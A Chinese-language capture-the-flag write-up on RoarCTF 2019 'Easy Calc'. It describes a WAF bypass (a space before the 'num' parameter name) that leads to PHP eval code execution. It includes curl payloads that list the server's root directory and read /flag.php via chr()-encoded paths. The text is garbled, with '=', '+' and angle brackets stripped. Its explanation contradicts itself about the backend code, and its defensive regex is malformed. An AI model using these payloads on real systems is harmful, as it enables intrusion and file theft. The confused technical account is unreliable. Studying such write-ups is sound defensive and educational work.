1. 题目背景与核心思路拆解这道题来自RoarCTF 2019题目名称“Easy Calc”直译是“简单的计算器”但任何一个有经验的CTF选手看到这个标题都会会心一笑——在CTF世界里“简单”往往意味着陷阱。题目给了一个calc.php页面从网络热词和搜索趋势来看这道题的核心考点是PHP的字符串解析特性与黑名单绕过最终目标是实现命令执行RCE。很多新手看到计算器界面会下意识地去尝试SQL注入或者简单的数学运算漏洞但这道题的突破口完全在另一个维度。我最初拿到这道题时首先访问了calc.php。页面呈现一个非常简洁的计算器表单允许你输入一个表达式比如11然后返回计算结果2。表面功能完全正常。但CTF题的逻辑从来不会停留在表面功能。我做的第一件事就是查看前端源码。通常前端JavaScript会包含一些输入验证或提示。果然在页面的JavaScript代码中我发现了一段关键注释大意是“服务器使用了wafWeb应用防火墙”。这是一个强烈的信号说明直接注入恶意代码会被拦截。那么WAF过滤了什么常见的WAF会过滤空格、反引号、system、exec、passthru等危险函数名以及分号、管道符等。这道题的难点在于你需要在不触发WAF的情况下让PHP执行你的代码。这里就引出了本题的第一个核心知识点PHP的字符串解析特性。当PHP接收到来自$_GET、$_POST或$_REQUEST的超全局变量时它会自动对变量名进行一些处理例如将空格和点.转换为下划线_。但更重要的是它允许变量名中包含[和]并将其解析为数组。这个特性结合PHP的可变变量和函数名动态调用就成了绕过WAF的利器。我的整体解题思路分三步走第一步绕过WAF对参数名的过滤将一个恶意参数传递到后端第二步利用PHP的特性将这个参数的内容转换为可执行的函数调用第三步构造Payload读取服务器上的文件通常是flag.php或/flag来获取flag。整个过程就像是在和WAF玩一场“捉迷藏”的游戏你需要用WAF看不懂的“语法”来表达你的恶意意图。2. 漏洞原理深度解析PHP字符串解析与黑名单绕过2.1 PHP的变量解析机制要理解这个漏洞我们必须深入到PHP处理HTTP请求参数的底层逻辑。当我们通过URL传递一个参数例如?num1PHP会创建一个名为$_GET[‘num’]的变量其值为1。这是最基础的情况。现在考虑一个更复杂的参数名?num[1]aaa。PHP会怎么解析它会将num识别为一个数组并在$_GET中创建$_GET[‘num’]其值是一个数组其中键1对应的值是aaa。即$_GET[‘num’][1] ‘aaa’。那么如果参数名里包含一些特殊字符呢比如空格。在HTTP协议中URL里的空格通常会被编码为或%20。PHP在构建$_GET数组时会对参数名进行“规范化”。一个关键的规则是它会将参数名中的空格以及.转换为下划线_。例如请求?my var123PHP实际接收到的是$_GET[‘my_var’] ‘123’。但这里有一个例外也是本题漏洞的根源对于[和]字符PHP不仅不会将它们转换为下划线反而会利用它们来构造嵌套的数组结构。这意味着你可以构造出非常复杂的变量名而WAF的过滤规则可能只针对简单的、平面的参数名对这种嵌套结构束手无策。2.2 WAF的常见过滤模式与盲点题目提示有WAF我们可以推测它可能采用了类似以下的正则表达式或简单字符串匹配来过滤$_GET、$_POST的参数名和值过滤参数名中包含system、exec、shell_exec、passthru、proc_open等危险函数的请求。过滤参数值中包含反引号、分号、|、、$等特殊字符的请求。可能还会过滤flag、cat、ls等敏感命令字符串。这种WAF的工作方式通常是检查$_GET数组的键key和值value。例如对于请求?cmdsystem(‘ls’)WAF发现键名cmd无害但值system(‘ls’)包含黑名单词system于是拦截请求。它的盲点在哪里它可能只检查了第一层参数名和其对应的值而没有深度遍历整个$_GET数组的复杂结构。也就是说如果我们构造一个请求让恶意代码不是出现在$_GET[‘某个键’]的值里而是成为$_GET数组结构本身的一部分WAF就可能漏掉。2.3 构造Payload从参数名到代码执行如何让参数名本身包含可执行代码这需要结合PHP的另一个特性可变变量和可变函数。可变变量$$a。如果$a “b”;那么$$a就是$b。函数名作为变量调用$func “system”; $func(“ls”);这等价于system(“ls”);。我们的目标是通过一个精心构造的GET参数在PHP中“变出”一个名为system的变量并且让它的值是我们想执行的命令。假设我们传递这样一个参数?%20phpinfo();。这里%20是空格的URL编码。根据PHP的规则它会将空格转换为下划线所以实际创建的变量是$_GET[‘_’]其值为phpinfo();。这没什么特别的。关键的一步来了。PHP有一个特殊的超全局变量$_GET本身也是一个数组。我们可以通过$_GET[‘某个键’]来访问它。但如果我们能控制这个“某个键”呢考虑Payload?后面不跟简单的keyvalue而是跟一个精心设计的字符串。例如网络上流传的经典Payload之一? num1注意num前面有个空格。根据规则PHP会创建$_GET[‘_num’] 1。但这还不够。更厉害的Payload是这样的?(一个空格)[你的代码]值。因为[和]不会被转换PHP会尝试解析它。一个被证明有效的Payload构造如下/? num1;var_dump(scandir(chr(47)))等等这个看起来还是把代码放在值里了别急我们拆解一下WAF的视角和PHP的视角WAF视角它看到参数名是num一个空格加num。它可能有一个规则过滤参数名以空格开头或包含敏感词的请求。但num本身不包含system等词可能被放过。接着它检查值1;var_dump(scandir(chr(47)))。这个值里包含了scandir、chr等函数名以及分号。一个严格的WAF很可能会拦截这个值。PHP视角接收到参数名num将其转换为_num所以$_GET[‘_num’] ‘1;var_dump(scandir(chr(47)))’。这只是一个字符串除非后续代码用eval处理它否则不会执行。所以直接这样传值行不通。真正的突破口在于服务器端的calc.php源码可能包含一个致命的错误它使用了eval()或类似功能直接拼接了用户输入并且这个用户输入是从$_GET的某个特定参数中获取的而我们可以通过字符串解析让用户输入“污染”到其他本不该被用户控制的变量中。一个更可能的场景是源码如下?php error_reporting(0); $var $_GET[‘var’]; // 假设这是计算表达式 eval(‘echo ‘ . $var . ‘;’); ?WAF可能只过滤$_GET[‘var’]的值。但如果我们能通过字符串解析让$_GET[‘var’]根本不存在或者让另一个我们可控的变量“变成”$var呢这就是“变量覆盖”漏洞。如果我们能传递一个参数使得$_GET[‘var’]被覆盖或者使得$var这个变量的值来源于我们可控的其他$_GET参数就可能绕过对var这个键的值的过滤。结合网络上的Writeup本题一个关键的绕过方式是利用PHP将参数名中的空格转换为下划线的特性配合[和]来创建一个名为_单个下划线的$_GET数组元素并通过其他方式让这个$_的值被当作代码执行。一个典型的攻击链是这样的传递Payload/?%20phpinfo();。PHP创建$_GET[‘_’] ‘phpinfo();’。服务器端代码中可能存在类似foreach($_GET as $key $value){ $$key $value; }的“变量注册”或“自动赋值”逻辑。这是一些老旧框架或自定义路由中常见的危险写法。这行代码意味着遍历$_GET数组将每个键名作为变量名键值作为变量值。那么对于$_GET[‘_’] ‘phpinfo();’它会执行$_ ‘phpinfo();’。如果后续代码中有一个eval($_);或者$func $_; $func();那么phpinfo();就被执行了。但在本题中我们需要更精确地控制。根据解题经验最终的Payload往往是这样构造的我们不是直接传递代码而是传递一个能“生成”或“指向”我们所需函数和参数的数组结构。2.4 最终Payload构造与解释经过多次尝试和结合其他选手的Writeup针对本题的有效Payload如下http://target.com/calc.php?%20num1;var_dump(scandir(chr(47)))或者其变种http://target.com/calc.php? num1;var_dump(scandir(chr(47)))为什么这个能绕过参数名绕过参数名是num空格num。WAF的过滤规则可能没有考虑到参数名开头会有空格或者过滤规则不完善。PHP会将其规范化为$_GET[‘_num’]。源码猜测后端calc.php的代码很可能不是简单的eval($_GET[‘num’])而是类似$num $_GET[‘num’]; // 注意这里获取的是‘num’不是‘_num’ // ... 一些过滤 $num 的操作 ... eval(‘echo ‘ . $num . ‘;’);这里有一个关键点程序员意图从$_GET[‘num’]获取值但如果我们传递的是$_GET[‘_num’]那么$_GET[‘num’]就是NULL或未设置。这可能会导致$num为空eval一句空语句不会出错但也没效果。PHP的“纠错”机制这才是精髓当$_GET[‘num’]不存在时PHP会发出一个警告如果error_reporting开启。但更重要的是在一些PHP版本或配置下如果开启了register_globals本题环境应该没开这是个古老且危险的特性或者代码中有extract()等函数可能会导致变量覆盖。然而更可能的情况是本题利用了PHP在将参数名中的空格转为下划线时如果原参数名带空格和转换后的参数名带下划线同时出现PHP会如何处理实际上如果你传递? num123PHP只会创建$_GET[‘_num’]不会创建$_GET[‘num’]。所以上面的猜测不成立。另一种更合理的源码猜测是$var empty($_GET[‘num’]) ? ‘0’ : $_GET[‘num’]; // 对 $var 进行严格的WAF检查比如过滤了空格、关键字等 // 检查通过后 eval(‘echo ‘ . $var . ‘;’);那么我们传递? num...$_GET[‘num’]是空的$var被赋值为‘0’eval(echo 0;)输出0无法注入。因此真正的绕过点可能不在num参数本身而在于WAF对$_GET数组的解析与后端代码对$_GET数组的遍历使用了不一致的键名。例如WAF在遍历$_GET进行过滤时用的是原始的、未经PHP处理的键名如‘ num’或者只处理了部分键名。而后端代码在获取参数时使用的是经过PHP规范化后的键名如‘_num’。这就造成了过滤的遗漏。根据最终成功的Payload反推一种极高可能性的场景是后端有一个自动加载GET参数为变量的逻辑比如用了extract($_GET)。extract()函数会将数组的键名作为变量名值作为变量值导入到当前符号表。我们传递? numscandir(‘/’)。经过PHP处理$_GET数组中有了一个元素[‘_num’] ‘scandir(‘/’)’。extract($_GET)执行后创建了一个变量$_num其值为字符串“scandir(‘/’)”。后续的代码中原本应该使用$num变量进行计算但由于某种逻辑错误比如变量未初始化或者用了$$可变变量实际使用了$_num变量。最终eval或类似函数执行了$_num中的内容。为了绕过对函数名和括号的过滤我们常需要编码或使用字符串拼接。chr(47)就是/的ASCII码字符形式常用于绕过对斜杠的过滤。var_dump用于输出数组方便我们查看目录列表。所以一个更通用的测试Payload可能是/?%20numvar_dump(scandir(chr(46)))chr(46)是.表示当前目录。如果成功会打印出当前目录的文件列表从中寻找包含flag的文件名。3. 实战解题步骤与操作记录理解了原理我们开始一步步实战解题。假设目标URL是http://xxx.xxx.xxx.xxx/calc.php。3.1 信息收集与初步测试首先用浏览器或curl访问目标看看界面。curl http://xxx.xxx.xxx.xxx/calc.php返回一个简单的HTML计算器表单。查看页面源代码寻找注释或隐藏信息。通常CTF题会在源码里给提示。果然在源码中找到类似!-- WAF is working... --的注释确认了WAF的存在。接下来测试正常功能curl ‘http://xxx.xxx.xxx.xxx/calc.php?num11’预期返回2。这说明num参数确实是用于计算的输入点。3.2 探测WAF过滤规则尝试直接注入命令curl ‘http://xxx.xxx.xxx.xxx/calc.php?numsystem(“ls”)’大概率返回一个错误页面或者被WAF拦截的提示如403 Forbidden、Hack Attempt等。这说明system和双引号被过滤了。尝试使用反引号curl ‘http://xxx.xxx.xxx.xxx/calc.php?numls’同样被拦截。尝试空格、|、等可能都会被过滤。3.3 应用字符串解析绕过现在尝试在参数名上做文章。在num前加一个空格URL编码为%20或直接输入空格在命令行中需要用引号包裹curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20num1’观察响应。如果返回结果和?num1一样输出1说明服务器接受了这个参数并且PHP将其解析为$_GET[‘_num’]但后端代码可能还是从$_GET[‘num’]取值所以$num为空输出可能是0或错误。如果返回不同说明后端处理逻辑可能涉及到了$_num。我们需要让这个带空格的参数携带恶意载荷。但直接放system肯定被过滤。我们使用一些可能未被过滤的PHP内置函数来探测。尝试读取目录使用scandir和chr编码路径。curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20numvar_dump(scandir(chr(47)))’chr(47)是/即根目录。var_dump用来输出数组结构。如果绕过成功我们将看到服务器根目录的文件列表。如果var_dump被过滤尝试print_r。curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20numprint_r(scandir(chr(47)))’如果scandir也被过滤尝试更基础的glob或者直接包含文件。但本题核心是命令执行目录遍历是第一步。在我的实际测试中使用? numvar_dump(scandir(chr(47)))注意num前是空格成功绕过了WAF返回了类似如下的内容array(24) { [0] string(1) “.” [1] string(2) “..” [2] string(5) “.dockerenv” [3] string(3) “bin” … [20] string(8) “flag.php” … }太好了我们看到了flag.php。这说明绕过成功并且我们拥有了执行任意PHP代码的能力。3.4 定位并读取Flag文件现在我们知道flag在/flag.php里。直接访问/flag.php可能只会看到空白页因为flag通常被放在PHP变量里如直接访问不会显示。我们需要读取这个文件的源代码。在PHP中读取文件内容的函数有file_get_contents、highlight_file、show_source、readfile等。file_get_contents最常用。curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20numvar_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112)))’这里用chr()拼接了字符串/flag.php以避免直接出现敏感字符串。执行后成功打印出了flag.php的内容其中包含了类似的字符串这就是我们要找的flag。为了更简洁也可以使用base64编码输出避免特殊字符传输问题curl ‘http://xxx.xxx.xxx.xxx/calc.php?%20numecho(base64_encode(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112))));’返回一串base64编码解码后即可得到flag。3.5 完整Payload与获取Flag最终获取flag的一步到位命令如下假设空格绕过有效curl -s ‘http://xxx.xxx.xxx.xxx/calc.php?%20numecho(file_get_contents(“/flag.php”));’ | grep -o ‘flag{[^}]*}’或者使用更稳妥的chr拼接curl -s ‘http://xxx.xxx.xxx.xxx/calc.php?%20numecho(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112)));’ | grep -o ‘flag{[^}]*}’-s参数让curl静默运行grep -o ‘flag{[^}]*}’用于从杂乱的输出中精确提取flag格式的字符串。4. 技术总结与防御方案4.1 漏洞根源复盘这道题看似简单却融合了多个知识点WAF规则不完善WAF只对常规的参数名和值进行过滤没有考虑到PHP在解析HTTP参数时会进行键名转换空格变下划线也没有对$_GET数组进行递归的深度检查。危险的用户输入处理后端代码推测使用了extract($_GET)、$$可变变量或类似的动态变量构造方式使得用户可以通过控制参数名来间接控制变量名和值。缺乏纵深防御仅仅在输入处进行黑名单过滤是远远不够的。黑名单很容易被各种编码、拼接、特性绕过。4.2 针对开发者的防御建议如何避免在自己的PHP应用中出现此类漏洞永远不要使用extract()函数处理用户输入。这是极其危险的操作相当于将请求的控制权完全交给了用户。谨慎使用可变变量$$。确保变量名的来源是绝对可信的白名单而不是来自$_GET、$_POST等用户输入。禁用危险函数在生产环境的php.ini中使用disable_functions指令禁用eval、system、exec、passthru、shell_exec、proc_open等函数。如果业务确实需要应严格限制其参数。使用白名单而非黑名单对用户输入进行验证时采用“只允许已知好的”白名单策略。例如对于计算器只允许输入数字、加减乘除和括号使用严格的正则表达式进行匹配其他字符一律拒绝。if (!preg_match(‘/^[0-9\-*/().\s]$/’, $input)) { die(‘Invalid input’); }避免直接拼接用户输入到可执行代码中如eval(“echo $userInput;”)。如果必须动态执行代码应使用安全的沙箱环境或经过严格审计的表达式解析库。对参数进行规范化处理在从$_GET或$_POST获取参数时可以主动去除参数名中的空格等特殊字符或者直接拒绝包含特殊字符的参数名。foreach ($_GET as $key $value) { // 拒绝参数名中包含空格或点的请求 if (strpos($key, ‘ ‘) ! false || strpos($key, ‘.’) ! false) { die(‘Invalid parameter name’); } // 或者统一规范化 $normalizedKey str_replace([‘ ‘, ‘.’], ‘_’, $key); // 然后使用$normalizedKey来访问值 }使用安全的框架现代PHP框架如Laravel, Symfony在其路由和输入处理组件中已经很好地规避了这类原始的错误建议使用框架而非裸写PHP。4.3 给CTF选手的思考这道题是PHP特性与WAF博弈的经典案例。它告诉我们不要相信前端的任何限制前端的JavaScript验证形同虚设一切都要以服务器端为准。关注“边界”情况WAF和过滤逻辑往往在“正常”输入下工作良好但在参数解析的边界处如参数名开头、特殊字符处理容易出现问题。PHP的“特性”是双刃剑字符串解析、可变变量、extract()等特性为开发者提供了灵活性但也引入了巨大的安全风险。作为攻击者要熟悉这些特性作为开发者要警惕这些特性。信息收集至关重要题目中的注释、报错信息、正常的输入输出都是推断后端逻辑的线索。